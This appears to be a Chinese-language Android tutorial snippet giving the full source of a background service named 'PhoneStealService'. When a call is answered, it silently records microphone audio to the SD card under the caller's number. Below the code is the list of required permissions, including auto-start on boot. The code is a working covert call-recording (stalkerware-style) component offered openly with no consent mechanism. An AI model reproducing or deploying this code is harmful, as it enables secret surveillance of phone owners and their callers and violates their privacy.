public class PhoneStealService extends Service { /** * 声明电话状态监听器对象并实例化 */ private PhoneStateListener phoneStateListener=new PhoneStateListener(){ /** * 声明存放来电号码的变量 */ private String incomingNumber; /** * 声明媒体录制器对象 */ private MediaRecorder mediaRecorder; /** * 是否真正录音 */ private boolean isRecording; /** * 声明录制音频的文件对象 */ private File destFile; /** * 当设备(电话)状态发生变化时自动调用的方法 * @param state 电话状态 * @param incomingNumber 来电号码 */ public void onCallStateChanged(int state, String incomingNumber) { switch (state) { /* * 电话处于空闲状态。 * 空闲状态分两种情况: * A:一致处于空闲状态 * B:用户刚接完电话挂断后回归到空闲状态 */ case TelephonyManager.CALL_STATE_IDLE: if(mediaRecorder!=null && isRecording){ mediaRecorder.stop(); mediaRecorder.release(); mediaRecorder=null; isRecording=false; } System.out.println("===电话处于空闲状态==PhoneStateListener.onCallStateChanged(int state="+state+", String incomingNumber="+incomingNumber+")====="); break; //来电状态,此时才有电话号码 case TelephonyManager.CALL_STATE_RINGING: this.incomingNumber=incomingNumber; System.out.println("===电话处于来电状态==PhoneStateListener.onCallStateChanged(int state="+state+", String incomingNumber="+incomingNumber+")====="); break; //接听状态 case TelephonyManager.CALL_STATE_OFFHOOK: //1.实例化媒体录制器对象 mediaRecorder=new MediaRecorder(); //2.设置音频来源为麦克风 mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); //3.设置音频的输出格式为3gp格式 mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); //4.设置音频编码 mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); if(Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)){ String fileName=this.incomingNumber+"_"+System.currentTimeMillis()+".3gp"; destFile=new File(Environment.getExternalStorageDirectory(),fileName); //5.设置录音文件的输出路径 mediaRecorder.setOutputFile(destFile.getAbsolutePath()); } try { //6.媒体录制器处于就绪状态 mediaRecorder.prepare(); //7.开始录音 mediaRecorder.start(); } catch (IllegalStateException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } System.out.println("===电话处于接听状态==PhoneStateListener.onCallStateChanged(int state="+state+", String incomingNumber="+incomingNumber+")====="); break; } } }; /** * 声明电话管理器对象 */ private TelephonyManager telephonyManager; @Override public void onCreate() { // TODO Auto-generated method stub super.onCreate(); //通过系统服务得到电话管理器对象 telephonyManager=(TelephonyManager) this.getSystemService(Context.TELEPHONY_SERVICE); telephonyManager.listen(phoneStateListener, PhoneStateListener.LISTEN_CALL_STATE//指定监听电话状态 ); System.out.println("====PhoneStealService.onCreate()======"); } @Override public IBinder onBind(Intent intent) { // TODO Auto-generated method stub return null; } @Override public void onDestroy() { // TODO Auto-generated method stub super.onDestroy(); if(telephonyManager!=null){ //指定不再监听电话状态 telephonyManager.listen(phoneStateListener, PhoneStateListener.LISTEN_NONE); } } }
需要注册权限
<!-- 注册读取电话状态的权限 --> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <!-- 注册录制音频的权限 --> <uses-permission android:name="android.permission.RECORD_AUDIO" /> <!-- 注册开机自启动广播的权限 --> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <!-- 注册在手机的SDCard创建和删除文件的权限 --> <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS" /> <!-- 注册向手机SDCard文件中写入内容的权限 --> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
时间: 2024-10-11 16:22:41